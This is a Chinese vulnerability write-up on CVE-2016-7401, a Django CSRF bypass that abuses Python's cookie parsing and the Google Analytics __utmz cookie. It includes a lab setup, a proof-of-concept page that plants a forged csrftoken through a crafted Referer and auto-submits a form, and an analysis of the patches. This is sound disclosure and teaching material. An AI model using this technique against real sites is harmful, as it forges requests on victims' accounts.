当前位置: 首页 > news >正文

Django CSRF Bypass 漏洞分析(CVE-2016-7401)

0x00 漏洞概述

1.漏洞简介

Django是一个由Python写成的开源Web应用框架。在两年前有研究人员在hackerone上提交了一个利用Google Analytics来绕过Django的CSRF防护机制的漏洞(CSRF protection bypass on any Django powered site via Google Analytics),通过该漏洞,当一个网站使用了Django作为Web框架并且设置了Django的CSRF防护机制,同时又使用了Google Analytics的时候,攻击者可以构造请求来对CSRF防护机制进行绕过。

2.漏洞影响

网站满足以下三个条件的情况下攻击者可以绕过Django的CSRF防护机制:

  • 使用Google Analytics来做数据统计
  • 使用Django作为Web框架
  • 使用基于Cookie的CSRF防护机制(Cookie中的某个值和请求中的某个值必须相等)

3.影响版本

  • Django 1.9.x < 1.9.10
  • Django 1.8.x < 1.8.15
  • Python2 < 2.7.9
  • Python3 < 3.2.7

0x01 漏洞复现

1. 环境搭建

pip install django==1.9.9  
django-admin startproject project  
cd project  
python manage.py startapp app  
cd app  
将 'app' 添加到 project/project/settings.py 中的 INSTALLDE_APPS 列表中更改或添加下列文件:

project/app/views.py:

from django.shortcuts import render  
from django.http import HttpResponse

# Create your views here.

def check(req):  
    if req.method == 'POST':
        return HttpResponse('CSRF check successfully!')
    else:
        return render(req, 'check.html')

def ga(req):  
    return render(req, 'ga.html')

project/project/urls.py:

from django.conf.urls import url  
from django.contrib import admin

from app.views import check, ga

urlpatterns = [  
    url(r'^admin/', admin.site.urls),
    url(r'^check/', check, name='check'),
    url(r'^ga/', ga, name='ga'),
]

project/app/templates/check.html:

<form action="/check/" method="POST">  
    {% csrf_token %}
    <input type="submit" value="Check"></input>
</form>

project/app/templates/ga.html(放置Goolge Analytics脚本的页面):

<script type="text/javascript">

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-XXXXX-X']);
  _gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

</script>

最后运行开启Django内置server:

# project/
python manage.py runserver

2.漏洞分析

我们先来看这样一个场景:

当python内置的Cookie.SimpleCookie()解析a=hello]b=world这种形式的字符串时会以]作为分隔,最后取得a=hellob=world这两个cookie,那么为什么会这样呢?

我们看一下源码,Ubuntu下/usr/lib/python2.7/Cookie.py第622-663行:

def load(self, rawdata):  
    """Load cookies from a string (presumably HTTP_COOKIE) or
    from a dictionary.  Loading cookies from a dictionary 'd'
    is equivalent to calling:
        map(Cookie.__setitem__, d.keys(), d.values())
    """
    if type(rawdata) == type(""):
        self.__ParseString(rawdata)
    else:
        # self.update() wouldn't call our custom __setitem__
        for k, v in rawdata.items():
            self[k] = v
    return
# end load()

def __ParseString(self, str, patt=_CookiePattern):  
    i = 0            # Our starting point
    n = len(str)     # Length of string
    M = None         # current morsel

    while 0 <= i < n:
        # Start looking for a cookie
        match = patt.search(str, i)
        if not match: break          # No more cookies

        K,V = match.group("key"), match.group("val")
        i = match.end(0)

        ...

当传入load一个字符串时,调用__ParseString,在__ParseString中有这样一句:match = patt.search(str, i),根据之前定义的pattern来查找字符串中符合pattern的cookie,_CookiePattern在529-545行:

_LegalCharsPatt  = r"[\w\d!#%&'~_`><@,:/\$\*\+\-\.\^\|\)\(\?\}\{\=]"  
_CookiePattern = re.compile(  
    r"(?x)"                       # This is a Verbose pattern
    r"(?P<key>"                   # Start of group 'key'
    ""+ _LegalCharsPatt +"+?"     # Any word of at least one letter, nongreedy
    r")"                          # End of group 'key'
    r"\s*=\s*"                    # Equal Sign
    r"(?P<val>"                   # Start of group 'val'
    r'"(?:[^\\"]|\\.)*"'            # Any doublequoted string
    r"|"                            # or
    r"\w{3},\s[\s\w\d-]{9,11}\s[\d:]{8}\sGMT" # Special case for "expires" attr
    r"|"                            # or
    ""+ _LegalCharsPatt +"*"        # Any word or empty string
    r")"                          # End of group 'val'
    r"\s*;?"                      # Probably ending in a semi-colon
    )

在这里我们看到]并没有在_LegalCharsPatt中,由于代码中使用的是search函数,所以在匹配a=hello后碰到]会跳过这个字符然后再匹配b=world。因此正是因为使用search函数来匹配,所以当a=hello后面是任意一个不在_LegalCharsPatt中的字符(例如[\]\x09\x0b\x0c)都会达到同样的效果:

c.load('a=helloXb=world') # X为上述字符  
SetCookie: a='hello' b='world'

这个漏洞也正是整个Bypass的核心所在。
我们再来看Django(1.9.9)中对cookie的解析,在http/cookie.py 中第91-106行:

def parse_cookie(cookie):  
    if cookie == '':
        return {}
    if not isinstance(cookie, http_cookies.BaseCookie):
        try:
            c = SimpleCookie()
            c.load(cookie)
        except http_cookies.CookieError:
            # Invalid cookie
            return {}
    else:
        c = cookie
    cookiedict = {}
    for key in c.keys():
        cookiedict[key] = c.get(key).value
    return cookiedict

根据动态调试发现这里的SimpleCookie也就是我们上面所说的存在漏洞的对象,从而可以确定Django中对cookie的处理也是存在漏洞的。

我们再来看看Django的CSRF防护机制,默认CSRF防护中间件是开启的,我们访问http://127.0.0.1:8000/check/,点击Check然后抓包:

可以看到csrftokencsrfmiddlewaretoken的值是相同的,其中csrfmiddlewaretoken的值如图:

也就是Django对check.html中的{% csrf_token %}所赋的值。我们再改下包,使csrftokencsrfmiddlewaretoken不相等,这回服务器就会返回403:

我们再把两个值都改成另外一个值看看:

依然成功。

所以Django对于CSRF的防护就是判断cookie中的csrftoken和提交的csrfmiddlewaretoken的值是否相等。

那么如果想Bypass这个防护机制,就是要想办法设置受害者的cookie中的csrftoken值为攻击者构造的csrdmiddlewaretoken的值。

如何设置受害者cookie呢?Google Analytics帮了我们这个忙,它为了追踪用户,会在用户浏览时添加如下cookie:

__utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]

其中[HOST][PATH]是由Referer确定的,也就是说当Referer: http://x.com/helloworld时,cookie如下:

__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=helloworld

由于Referer是我们可以控制的,所以也就有了设置受害者cookie的可能,但是如何设置csrftoken的值呢?

这就用到了我们上面说的Django处理cookie的漏洞,当我们设置Referer为http://x.com/hello]csrftoken=world,GA设置的cookie如下:

__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=hello]csrftoken=world

当Django解析cookie时就会触发上面说的漏洞,将cookie中csrftoken的值赋为world。

实际操作一下,为了方便路由我们在另一个IP上再开一个DjangoApp作为中转,其中各文件如下:

urls.py:

from django.conf.urls import url  
from django.contrib import admin

from app.views import route

urlpatterns = [  
    url(r'^admin/', admin.site.urls),
    url(r'^hello', route)
]

views.py:

from django.shortcuts import render  
from django.http import HttpResponse

# Create your views here.

def route(req):  
    return render(req, 'route.html')

route.html:

<script> window.location = 'http://127.0.0.1:8000/ga/'; </script>

开启中转App:

python manage.py runserver xxx

构造一个攻击页面:

<form id="csrf" action="http://127.0.0.1:8000/check/" method="POST">  
    <input type="hidden" name="csrfmiddlewaretoken" value="boom">
</form>

<script type="text/javascript" charset="utf-8">  
function sleep (time) {  
      return new Promise((resolve) => setTimeout(resolve, time));
}

function poc() {  
    window.open('http://redirect-server/hello]csrftoken=boom');

    sleep(1000).then(() => {
        document.getElementById('csrf').submit();
    });
}
</script>

<a href='#' onclick=poc()> Click me </a>

当我们点击Click me,会先打开一个窗口,再回到原窗口,就可以看到保护机制已经绕过:

再访问一下http://127.0.0.1:8000/check/,可以看到此时cookie中的csrftoken和form中的csrfmiddlewaretoken都已被设置成boom,证明漏洞成功触发:

攻击流程如下:

3.补丁分析

Python

可以看到这个漏洞在根本上是原生Python的漏洞,首先看最早在2.7.9中的patch:

search改成了match函数,所以再遇到非法符号匹配会停止。

再看该文件在2.7.10中的patch:

这里将[\]设置为了合法的value中的字符,也就是

>>> C.load('__utmz=blah]csrftoken=x')
>>> C
<SimpleCookie: __utmz='blah]csrftoken=x'>

同样Python3在3.2.7和3.3.6中也做了相应patch:

不过尽管上面对[\]做了限制,但是由于pattern最后\s*的存在,所以在以下情况下仍然存在漏洞:

>>> import Cookie
>>> C = Cookie.SimpleCookie()
>>> C.load('__utmz=blah csrftoken=x')
>>> C.load('__utmz=blah\x09csrftoken=x')
>>> C.load('__utmz=blah\x0bcsrftoken=x')
>>> C.load('__utmz=blah\x0ccsrftoken=x')
>>> C
<SimpleCookie: __utmz='blah' csrftoken='x'>

这些情况在最新的Python中并没有被修复,不过在实际情况中由于浏览器和脚本的原因,这些字符不一定会保存原样发送给Python处理,所以在利用上还要根据场景来分析。

Django

Django在1.9.10和1.8.15中做了相同的patch:

它放弃了使用Python内置库来处理cookie,而是自己根据;分割再取值,使特殊符号不再起作用。

0x02 修复方案

  • 升级Python
  • 升级Django

0x03 参考

  • https://www.seebug.org/vuldb/ssvid-92447
  • https://hackerone.com/reports/26647
  • https://github.com/django/django/commit/d1bc980db1c0fffd6d60677e62f70beadb9fe64a
  • https://developers.google.com/analytics/devguides/collection/analyticsjs/cookie-usage

原文:http://blog.knownsec.com/2016/10/django-csrf-bypass_cve-2016-7401/

相关文章:

  • Python安全编码与代码审计
  • Cobra-White 白盒源代码审计工具-白帽子版
  • python动态代码审计
  • 【技术分享】关于Python漏洞挖掘那些不得不提的事儿
  • python 代码审计之-命令执行漏洞
  • REST API安全设计指南
  • Restful API设计指南
  • 从Django的SECTET_KEY到代码执行
  • 偷懒必备-不想工作的时候打开网页F11就好
  • 智能合约审计系列————2、权限隐患条件竞争
  • 【全网致谢】————感谢ivy女神赠送的IOS测试机一部
  • burpsuite保存现有数据包记录导入之前的抓包记录
  • 逍遥模拟器配置burpsuite抓包环境
  • 【免杀】————4、Webshell如何bypass安全狗,D盾
  • 【免杀】————5、过D盾webshell分享
  • Angular6错误 Service: No provider for Renderer2
  • Consul Config 使用Git做版本控制的实现
  • C学习-枚举(九)
  • JavaScript 基础知识 - 入门篇(一)
  • JavaScript类型识别
  • js
  • LeetCode29.两数相除 JavaScript
  • Python学习之路16-使用API
  • Spark VS Hadoop:两大大数据分析系统深度解读
  • SwizzleMethod 黑魔法
  • TCP拥塞控制
  • Tornado学习笔记(1)
  • vue2.0开发聊天程序(四) 完整体验一次Vue开发(下)
  • vue-router 实现分析
  • webgl (原生)基础入门指南【一】
  • windows下使用nginx调试简介
  • 动态魔术使用DBMS_SQL
  • 力扣(LeetCode)21
  • 小程序滚动组件,左边导航栏与右边内容联动效果实现
  • postgresql行列转换函数
  • # 数论-逆元
  • #QT(智能家居界面-界面切换)
  • (3)(3.2) MAVLink2数据包签名(安全)
  • (Mac上)使用Python进行matplotlib 画图时,中文显示不出来
  • (react踩过的坑)Antd Select(设置了labelInValue)在FormItem中initialValue的问题
  • (webRTC、RecordRTC):navigator.mediaDevices undefined
  • (附源码)springboot 校园学生兼职系统 毕业设计 742122
  • (一)SpringBoot3---尚硅谷总结
  • (终章)[图像识别]13.OpenCV案例 自定义训练集分类器物体检测
  • (转)EXC_BREAKPOINT僵尸错误
  • .net core 3.0 linux,.NET Core 3.0 的新增功能
  • .net遍历html中全部的中文,ASP.NET中遍历页面的所有button控件
  • .Net调用Java编写的WebServices返回值为Null的解决方法(SoapUI工具测试有返回值)
  • .net获取当前url各种属性(文件名、参数、域名 等)的方法
  • .NET简谈设计模式之(单件模式)
  • .net实现头像缩放截取功能 -----转载自accp教程网
  • /usr/bin/env: node: No such file or directory
  • [ 代码审计篇 ] 代码审计案例详解(一) SQL注入代码审计案例
  • [1204 寻找子串位置] 解题报告
  • [2018-01-08] Python强化周的第一天